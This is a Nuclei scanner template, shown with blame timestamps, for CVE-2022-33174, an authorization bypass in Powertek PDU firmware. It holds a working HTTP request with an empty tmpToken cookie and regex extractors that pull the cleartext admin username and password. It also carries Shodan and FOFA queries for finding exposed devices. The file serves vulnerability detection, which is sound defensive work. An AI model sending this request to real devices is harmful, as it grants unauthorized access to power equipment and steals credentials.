nuclei-templates/http/cves/2022/CVE-2022-33174.yaml

63 lines
2.4 KiB
YAML
Raw Normal View History

2022-07-03 00:28:23 +00:00
id: CVE-2022-33174
info:
name: Powertek Firmware <3.30.30 - Authorization Bypass
2022-07-03 00:28:23 +00:00
author: pikpikcu
severity: high
description: |
Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
2023-09-27 15:51:13 +00:00
impact: |
An attacker can bypass authentication and gain unauthorized access to the Powertek Firmware, potentially leading to further compromise of the system.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade the Powertek Firmware to version 3.30.30 or higher to mitigate the vulnerability.
2022-07-03 00:28:23 +00:00
reference:
- https://gynvael.coldwind.pl/?lang=en&id=748
- https://nvd.nist.gov/vuln/detail/CVE-2022-33174
- https://github.com/Henry4E36/CVE-2022-33174
- https://github.com/k0mi-tg/CVE-POC
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-33174
cwe-id: CWE-863
epss-score: 0.01207
epss-percentile: 0.85196
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:o:powertekpdus:basic_pdu_firmware:*:*:*:*:*:*:*:*
2022-07-03 17:35:36 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: powertekpdus
product: basic_pdu_firmware
shodan-query:
- http.html:"Powertek"
- http.html:"powertek"
2024-05-31 19:23:20 +00:00
fofa-query: body="powertek"
2024-01-14 09:21:50 +00:00
tags: cve2022,cve,powertek,auth-bypass,powertekpdus
2022-07-03 00:28:23 +00:00
http:
2022-07-03 00:28:23 +00:00
- raw:
- |
GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1
Host: {{Hostname}}
Cookie: tmpToken=;
matchers-condition: and
matchers:
- type: word
words:
- '<sys.passwd>'
- '<sys.su.name>'
- type: status
status:
- 200
2022-07-03 17:35:36 +00:00
extractors:
- type: regex
group: 1
regex:
- '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>'
- '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>'
2023-07-11 19:49:27 +00:00
part: body
# digest: 4a0a00473045022100f3d71404cdfd62ffd92053d6f331ef020cae6f11f38eaf978db01f0694dd256002207ec275a769435dd5f7065b5d8dacb4704537f59d63a9b63ee6f07d1ef87d2bfc:922c64590222798bb761d5b6d8e72950